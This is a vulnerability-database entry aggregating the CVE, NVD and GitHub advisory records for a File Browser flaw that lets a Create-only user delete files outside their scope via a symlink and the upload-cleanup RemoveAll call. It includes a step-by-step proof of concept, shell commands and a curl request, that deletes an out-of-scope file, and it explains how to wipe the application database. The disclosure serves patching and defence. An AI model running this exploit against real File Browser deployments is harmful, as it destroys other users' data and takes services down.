Vulnerability-Lookup

CVE-2026-55667 (GCVE-0-2026-55667)

Vulnerability from cvelistv5 – Published: 2026-06-25 17:32 – Updated: 2026-06-26 02:12

Title

File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup

Summary

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.16, a scoped, non-admin File Browser user holding only the Create permission can delete arbitrary files outside their scope (other tenants' data, and the application's own database) via the upload failure-cleanup path. ScopedFs.RemoveAll is the one dereferencing operation that skips the symlink guard every other method enforces. The direct-upload handler runs RemoveAll on the user-controlled path during failed-upload cleanup, gated only by Perm.Create. If an escaping directory symlink already exists inside the user's scope, an authenticated create-only user can delete an out-of-scope target, bypassing both the ScopedFs boundary and the Perm.Delete gate. This vulnerability is fixed in 2.63.16.

Severity

8.2 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-26 02:12 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-59 - Improper Link Resolution Before File Access ('Link Following')

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/filebrowser/filebrowser/securi…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
filebrowser	filebrowser	Affected: < 2.63.16	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-55667

Vulnerability from fkie_nvd - Published: 2026-06-25 19:16 - Updated: 2026-06-26 04:17

Severity

8.2 (High) - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/filebrowser/filebrowser/security/advisories/GHSA-fmm7-x4gx-8jhr
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/filebrowser/filebrowser/security/advisories/GHSA-fmm7-x4gx-8jhr

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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GHSA-FMM7-X4GX-8JHR

Vulnerability from github – Published: 2026-07-20 21:17 – Updated: 2026-07-20 21:17

Summary

File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup

Details

Summary

A scoped, non-admin File Browser user holding only the Create permission can delete arbitrary files outside their scope (other tenants' data, and the application's own database) via the upload failure-cleanup path. This is an incomplete fix of CVE-2026-54094: the v2.63.14 ScopedFs containment wrapper was applied to read/write/list/rename but NOT to the delete path. Confidentiality is preserved (reads stay blocked); integrity and availability are not.

ScopedFs.RemoveAll is the one dereferencing operation that skips the symlink guard every other method enforces. The direct-upload handler runs RemoveAll on the user-controlled path during failed-upload cleanup, gated only by Perm.Create. If an escaping directory symlink already exists inside the user's scope, an authenticated create-only user can delete an out-of-scope target, bypassing both the ScopedFs boundary and the Perm.Delete gate.

Affected code: https://github.com/filebrowser/filebrowser/blob/be23ab3a15bf957928ecfed88de5ab67850c1b9c/http/resource.go#L172-L174

Details

CVE-2026-54094 was fixed by a ScopedFs afero wrapper whose guard() resolves every path component with filepath.EvalSymlinks and rejects out-of-scope targets. guard() is invoked on read, write, list, rename, stat, etc. The fix is incomplete; two gaps combine:

ScopedFs.Remove and ScopedFs.RemoveAll skip guard() (files/scoped.go:138-144) — they call s.base.Remove/RemoveAll directly, unlike every other method.
resourcePostHandler does not return on a NewFileInfo containment error (http/resource.go:125-180). For an out-of-scope path NewFileInfo fails, but the handler only uses that for the override branch (if err == nil) and falls through to writeFile, which is correctly guard-blocked and errors — triggering the failure-cleanup _ = d.user.Fs.RemoveAll(r.URL.Path) (http/resource.go:173) on the unvalidated path.

Because Go's os.RemoveAll follows a symlinked ancestor, RemoveAll("link/secret.txt") where link -> /srv/victim deletes /srv/victim/secret.txt, outside scope. The HTTP response is 403 (write blocked), masking the deletion.

Of the three handlers calling RemoveAll, only resourcePostHandler is exploitable; resourceDeleteHandler (:114) and tusDeleteHandler (:264) return the NewFileInfo error first (shadowed, confirmed by negative controls). If the target is a directory, RemoveAll recursively removes out-of-scope contents.

Precondition

An escaping directory symlink must already exist inside the user's scope. File Browser exposes no symlink-creation API, so it is planted out of band (admin, mounted/shared volume, restored backup, extracted archive, another process). This is the same threat model accepted by CVE-2026-54094.

Proof of concept

Root /tmp/fb-root, a Create-only non-admin user scoped to /scope with Perm.Create=true (and Perm.Delete=false — the bug must not need it), and a pre-existing symlink /tmp/fb-root/scope/link -> /tmp/fb-out:

# 0. Layout: server root + an out-of-scope dir holding the victim file
mkdir -p /tmp/fb-root /tmp/fb-out
echo keep > /tmp/fb-out/victim.txt

# 1. Init DB and pin the server root
filebrowser -d /tmp/fb.db config init
filebrowser -d /tmp/fb.db config set --root /tmp/fb-root

# 2. Create a CREATE-ONLY, non-admin user scoped to /scope. perm.delete=false is the point: the bug must not need it
filebrowser -d /tmp/fb.db users add victim hunter2 \
  --scope=/scope \
  --perm.admin=false --perm.create=true \
  --perm.modify=false --perm.delete=false \
  --perm.rename=false --perm.share=false --perm.execute=false

# 3. Plant an escaping directory symlink inside the user's scope. Out-of-band, per the threat model
#    (admin, mounted/shared volume, restored backup, another process). No FileBrowser API creates this.
ln -s /tmp/fb-out /tmp/fb-root/scope/link

# 4. Start the server
filebrowser -d /tmp/fb.db -a 127.0.0.1 -p 8080

# 5. Log in; the JWT is returned as the raw response body
JWT=$(curl -s -X POST http://127.0.0.1:8080/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"victim","password":"hunter2"}')

# 6. Trigger: POST to a child of the symlink. The guarded write (MkdirAll/OpenFile) fails with 403,
#    and failed-upload cleanup then runs the UNguarded RemoveAll("/link/victim.txt").
curl -i -X POST -H "X-Auth: $JWT" --data 'x' \
  'http://127.0.0.1:8080/api/resources/link/victim.txt'

# 7. Impact check
test ! -e /tmp/fb-out/victim.txt && echo "IMPACT: out-of-scope victim.txt DELETED"

Minimal HTTP summary (Create-only user carol, scope /attacker, pre-existing symlink /attacker/link -> /srv/victim, file /srv/victim/secret.txt):

GET  /api/raw/link/secret.txt        -> 403 (read containment still holds — the v2.63.14 fix)
POST /api/resources/link/secret.txt  -> 403 (write blocked)
   => /srv/victim/secret.txt is DELETED (unguarded cleanup RemoveAll followed the symlinked ancestor)

Verified blast radius (per-case HTTP + on-disk before/after captured): create-only no-override deletion; cross-tenant deletion; full-instance DoS (delete the database dir → all users/shares/config gone, admin login fails); negative controls on the DELETE sinks (403, file survives).

Impact

A per-tenant / per-share scoped user with only Create can destroy any file the File Browser process can reach via a symlink lexically inside their scope: other tenants' data or the application database (instance DoS). A create-only user deletes out-of-scope files reachable through an escaping symlinked directory, bypassing the ScopedFs boundary and the Perm.Delete gate. If the target is a directory, RemoveAll recursively removes out-of-scope contents. Precondition: a symlink present in the user's scope — identical to the parent CVE-2026-54094, which the project treated as in-scope, and which arises naturally via mounted volumes, restored backups, or extracted archives.

Suggested fix

Add guard() to ScopedFs.Remove and ScopedFs.RemoveAll (files/scoped.go), mirroring the other methods (closes the class for all callers).
Defense-in-depth: in resourcePostHandler, return early when NewFileInfo returns a non-not-exist error (do not fall through to writeFile/cleanup on a path that failed containment).

References

Incomplete fix of CVE-2026-54094 / GHSA-239w-m3h6-ch8v.
Affected code: files/scoped.go (ScopedFs.Remove, ScopedFs.RemoveAll), reached from http/resource.go (resourcePostHandler failure-cleanup, line 173).
Confirmed unpatched at HEAD be23ab3 (v2.63.15); no open issue/PR addresses the Remove/RemoveAll gap.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.63.15"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.63.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55667"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:17:24Z",
    "nvd_published_at": "2026-06-25T19:16:43Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA scoped, non-admin File Browser user holding only the **Create** permission can delete arbitrary files outside their scope (other tenants\u0027 data, and the application\u0027s own database) via the upload failure-cleanup path. This is an incomplete fix of CVE-2026-54094: the v2.63.14 `ScopedFs` containment wrapper was applied to read/write/list/rename but NOT to the delete path. Confidentiality is preserved (reads stay blocked); integrity and availability are not.\n\n`ScopedFs.RemoveAll` is the one dereferencing operation that skips the symlink `guard` every other method enforces. The direct-upload handler runs `RemoveAll` on the user-controlled path during failed-upload cleanup, gated only by `Perm.Create`. If an escaping directory symlink already exists inside the user\u0027s scope, an authenticated create-only user can delete an out-of-scope target, bypassing both the `ScopedFs` boundary and the `Perm.Delete` gate.\n\nAffected code: https://github.com/filebrowser/filebrowser/blob/be23ab3a15bf957928ecfed88de5ab67850c1b9c/http/resource.go#L172-L174\n\n## Details\n\nCVE-2026-54094 was fixed by a `ScopedFs` afero wrapper whose `guard()` resolves every path component with `filepath.EvalSymlinks` and rejects out-of-scope targets. `guard()` is invoked on read, write, list, rename, stat, etc. The fix is incomplete; two gaps combine:\n\n1. `ScopedFs.Remove` and `ScopedFs.RemoveAll` skip `guard()` (`files/scoped.go:138-144`) \u2014 they call `s.base.Remove/RemoveAll` directly, unlike every other method.\n2. `resourcePostHandler` does not return on a `NewFileInfo` containment error (`http/resource.go:125-180`). For an out-of-scope path `NewFileInfo` fails, but the handler only uses that for the override branch (`if err == nil`) and falls through to `writeFile`, which is correctly guard-blocked and errors \u2014 triggering the failure-cleanup `_ = d.user.Fs.RemoveAll(r.URL.Path)` (`http/resource.go:173`) on the unvalidated path.\n\nBecause Go\u0027s `os.RemoveAll` follows a symlinked ancestor, `RemoveAll(\"link/secret.txt\")` where `link -\u003e /srv/victim` deletes `/srv/victim/secret.txt`, outside scope. The HTTP response is 403 (write blocked), masking the deletion.\n\nOf the three handlers calling `RemoveAll`, only `resourcePostHandler` is exploitable; `resourceDeleteHandler` (`:114`) and `tusDeleteHandler` (`:264`) return the `NewFileInfo` error first (shadowed, confirmed by negative controls). If the target is a directory, `RemoveAll` recursively removes out-of-scope contents.\n\n## Precondition\n\nAn escaping directory symlink must already exist inside the user\u0027s scope. File Browser exposes no symlink-creation API, so it is planted out of band (admin, mounted/shared volume, restored backup, extracted archive, another process). This is the same threat model accepted by CVE-2026-54094.\n\n## Proof of concept\n\nRoot `/tmp/fb-root`, a Create-only non-admin user scoped to `/scope` with `Perm.Create=true` (and `Perm.Delete=false` \u2014 the bug must not need it), and a pre-existing symlink `/tmp/fb-root/scope/link -\u003e /tmp/fb-out`:\n\n```sh\n# 0. Layout: server root + an out-of-scope dir holding the victim file\nmkdir -p /tmp/fb-root /tmp/fb-out\necho keep \u003e /tmp/fb-out/victim.txt\n\n# 1. Init DB and pin the server root\nfilebrowser -d /tmp/fb.db config init\nfilebrowser -d /tmp/fb.db config set --root /tmp/fb-root\n\n# 2. Create a CREATE-ONLY, non-admin user scoped to /scope. perm.delete=false is the point: the bug must not need it\nfilebrowser -d /tmp/fb.db users add victim hunter2 \\\n  --scope=/scope \\\n  --perm.admin=false --perm.create=true \\\n  --perm.modify=false --perm.delete=false \\\n  --perm.rename=false --perm.share=false --perm.execute=false\n\n# 3. Plant an escaping directory symlink inside the user\u0027s scope. Out-of-band, per the threat model\n#    (admin, mounted/shared volume, restored backup, another process). No FileBrowser API creates this.\nln -s /tmp/fb-out /tmp/fb-root/scope/link\n\n# 4. Start the server\nfilebrowser -d /tmp/fb.db -a 127.0.0.1 -p 8080\n\n# 5. Log in; the JWT is returned as the raw response body\nJWT=$(curl -s -X POST http://127.0.0.1:8080/api/login \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"victim\",\"password\":\"hunter2\"}\u0027)\n\n# 6. Trigger: POST to a child of the symlink. The guarded write (MkdirAll/OpenFile) fails with 403,\n#    and failed-upload cleanup then runs the UNguarded RemoveAll(\"/link/victim.txt\").\ncurl -i -X POST -H \"X-Auth: $JWT\" --data \u0027x\u0027 \\\n  \u0027http://127.0.0.1:8080/api/resources/link/victim.txt\u0027\n\n# 7. Impact check\ntest ! -e /tmp/fb-out/victim.txt \u0026\u0026 echo \"IMPACT: out-of-scope victim.txt DELETED\"\n```\n\nMinimal HTTP summary (Create-only user `carol`, scope `/attacker`, pre-existing symlink `/attacker/link -\u003e /srv/victim`, file `/srv/victim/secret.txt`):\n\n```text\nGET  /api/raw/link/secret.txt        -\u003e 403 (read containment still holds \u2014 the v2.63.14 fix)\nPOST /api/resources/link/secret.txt  -\u003e 403 (write blocked)\n   =\u003e /srv/victim/secret.txt is DELETED (unguarded cleanup RemoveAll followed the symlinked ancestor)\n```\n\nVerified blast radius (per-case HTTP + on-disk before/after captured): create-only no-override deletion; cross-tenant deletion; full-instance DoS (delete the database dir \u2192 all users/shares/config gone, admin login fails); negative controls on the DELETE sinks (403, file survives).\n\n## Impact\n\nA per-tenant / per-share scoped user with only Create can destroy any file the File Browser process can reach via a symlink lexically inside their scope: other tenants\u0027 data or the application database (instance DoS). A create-only user deletes out-of-scope files reachable through an escaping symlinked directory, bypassing the `ScopedFs` boundary and the `Perm.Delete` gate. If the target is a directory, `RemoveAll` recursively removes out-of-scope contents. Precondition: a symlink present in the user\u0027s scope \u2014 identical to the parent CVE-2026-54094, which the project treated as in-scope, and which arises naturally via mounted volumes, restored backups, or extracted archives.\n\n## Suggested fix\n\n1. Add `guard()` to `ScopedFs.Remove` and `ScopedFs.RemoveAll` (`files/scoped.go`), mirroring the other methods (closes the class for all callers).\n2. Defense-in-depth: in `resourcePostHandler`, return early when `NewFileInfo` returns a non-not-exist error (do not fall through to `writeFile`/cleanup on a path that failed containment).\n\n## References\n\n- Incomplete fix of CVE-2026-54094 / `GHSA-239w-m3h6-ch8v`.\n- Affected code: `files/scoped.go` (`ScopedFs.Remove`, `ScopedFs.RemoveAll`), reached from `http/resource.go` (`resourcePostHandler` failure-cleanup, line 173).\n- Confirmed unpatched at HEAD `be23ab3` (`v2.63.15`); no open issue/PR addresses the `Remove`/`RemoveAll` gap.",
  "id": "GHSA-fmm7-x4gx-8jhr",
  "modified": "2026-07-20T21:17:24Z",
  "published": "2026-07-20T21:17:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-fmm7-x4gx-8jhr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55667"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/blob/be23ab3a15bf957928ecfed88de5ab67850c1b9c/http/resource.go#L172-L174"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-55667 (GCVE-0-2026-55667)

FKIE_CVE-2026-55667

GHSA-FMM7-X4GX-8JHR

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Proof of concept

Impact

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